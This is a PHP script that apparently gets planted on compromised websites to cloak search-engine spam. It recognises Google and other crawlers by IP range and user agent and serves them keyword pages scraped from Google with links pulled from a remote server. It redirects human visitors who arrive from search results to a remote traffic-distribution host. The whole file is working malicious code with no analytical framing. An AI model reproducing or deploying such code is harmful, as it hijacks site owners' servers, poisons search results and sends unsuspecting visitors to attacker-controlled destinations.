if ($_GET["do"]!=""){
$t=basename($_GET["do"]);
$x1=$_SERVER["HTTP_HOST"];
function is_search_engine($ref){
$search_engine_check_keywords = array('google','yahoo','aol','bing','msn','search');
foreach($search_engine_check_keywords as $key){
if(stristr($ref, $key)){
return true;
}
}
return false;
}
function crawl_page($url){
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_ENCODING , "gzip");
curl_setopt ($ch, CURLOPT_TIMEOUT, 10);
curl_setopt ($ch, CURLOPT_USERAGENT,"Mozilla/5.2 (Windows; U; Windows NT 5.2; en-EN) Gecko/20080919 Firefox/1.8.7");
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
function gen_page($keyword,$related){
$url="http://www.google.com/search?hl=en&client=opera&num=100&q=".urlencode($keyword)."&lr=lang_en";
$result=crawl_page($url);
preg_match_all("#
(.*)
#U", $result, $result_preg);
$s=array();
for ($i=0; $i
');
$snippet=str_replace('em>','b>',$snippet);
$snippet=str_replace("..."," . ",$snippet);
$snippet=strip_tags($snippet);
array_push($s,$snippet);
// echo $snippet."\n";
}
shuffle($s);
$chars=array(" @ "," : "," - from "," at ");
$char=$chars[rand(0,3)];
// '.ucwords($keyword).$char.$_SERVER["HTTP_HOST"].'
$c='
'.ucwords($keyword).'
'.strtoupper($keyword).'
';
for($i=0;$i<50;$i++){
$randx=chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122)).chr(rand(97,122));
$c.="- ".$s[$i]."
\n".$related[$i]."
\n";
}
$c.='
';
return $c;
}
function get_new_tds($f2){
$url="http://74.55.31.116/tr/get_tds.php?h=".$_SERVER["HTTP_HOST"];
$tds=crawl_page($url);
$f=@fopen($f2,"w");@fwrite($f,$tds."|".time());@fclose($f);
return $tds;
}
function get_page($key){
$f_n=".files/".$key.".html";
if (@file_exists($f_n)) return @file_get_contents($f_n);
$url="http://74.55.31.116/tr/d_links.php?t=".urlencode($key)."&h=".$_SERVER["HTTP_HOST"];;
$x=crawl_page($url);
$rel=explode("\n",$x);
$c=@count($rel)-1;
$related=array();
for($i=1;$i<=$c;$i++){
$related[$i]=$rel[$i];
}
$keyword=$key;
$result=gen_page($keyword,$related);
$f=@fopen($f_n,"w");@fwrite($f,$result);@fclose($f);
return $result;
}
function get_tds(){
$f2=".files/b.log";
if (@file_exists($f2)){
$r=@file_get_contents($f2);
list($tds,$last_t)=explode("|",$r);
if ((time()-$last_t) > 600)$tds=get_new_tds($f2);
}else{
$tds=get_new_tds($f2);
}
return $tds;
}
@mkdir(".files");
$searchengine=0;
$ip=sprintf("%u",ip2long($_SERVER["REMOTE_ADDR"]));
if (($ip>=3639549952)&&($ip<=3639558143))$searchengine=1; //GOOGLE (216.239.32.0-216.239.63.255)
if (($ip>=1123631104)&&($ip<=1123639295))$searchengine=1; //GOOGLE (66.249.64.0-66.249.95.255)
if (($ip>=1089052672)&&($ip<=1089060863))$searchengine=1; //GOOGLE (64.233.160.0-64.233.191.255)
if (($ip>=1078218752)&&($ip<=1078220799))$searchengine=1; //GOOGLE (64.68.80.0-64.68.87.255)
if (($ip>=1078220802)&&($ip<=1078222031))$searchengine=1; //GOOGLE (64.68.88.2-64.68.92.207)
if (($ip>=1087381508)&&($ip<=1087382952))$searchengine=1; //GOOGLE (64.208.32.4-64.208.37.168)
if (($ip>=3512041472)&&($ip<=3512045567))$searchengine=1; //GOOGLE (209.85.128.0-209.85.143.255)
if (($ip>=1113980928)&&($ip<=1113985023))$searchengine=1; //GOOGLE (66.102.0.0-66.102.15.255)
if (($ip>=1208926208)&&($ip<=1208942591))$searchengine=1; //GOOGLE (72.14.192.0-72.14.255.255)
if (($ip>=1249705984)&&($ip<=1249771519))$searchengine=1; //GOOGLE (74.125.0.0-74.125.255.255)
if (stristr($_SERVER["HTTP_USER_AGENT"],"msnbot")||stristr($_SERVER["HTTP_USER_AGENT"],"Yahoo"))$searchengine=1;
if (stristr($_SERVER["HTTP_USER_AGENT"],"via translate.google.com"))$searchengine=0;
if (stristr($_SERVER["HTTP_USER_AGENT"],"Google WAP Proxy"))$searchengine=0;
if (stristr($_SERVER["HTTP_USER_AGENT"],"Google CHTML Proxy"))$searchengine=0;
if ($searchengine){
ob_start("ob_gzhandler");
$result=get_page($t);
echo $result;
}else{
if (is_search_engine($_SERVER["HTTP_REFERER"])){
$tds=trim(get_tds());
if ($tds=="")$tds="merin22.mooo.com";
$url="http://$tds/in.php?t=cc&d=15-12-2009_links_randz&h=$x1&p=".urlencode($_SERVER["HTTP_REFERER"]);
}else{
$url="http://cnn.com";
}
header("Location: $url");exit;
}
exit;
}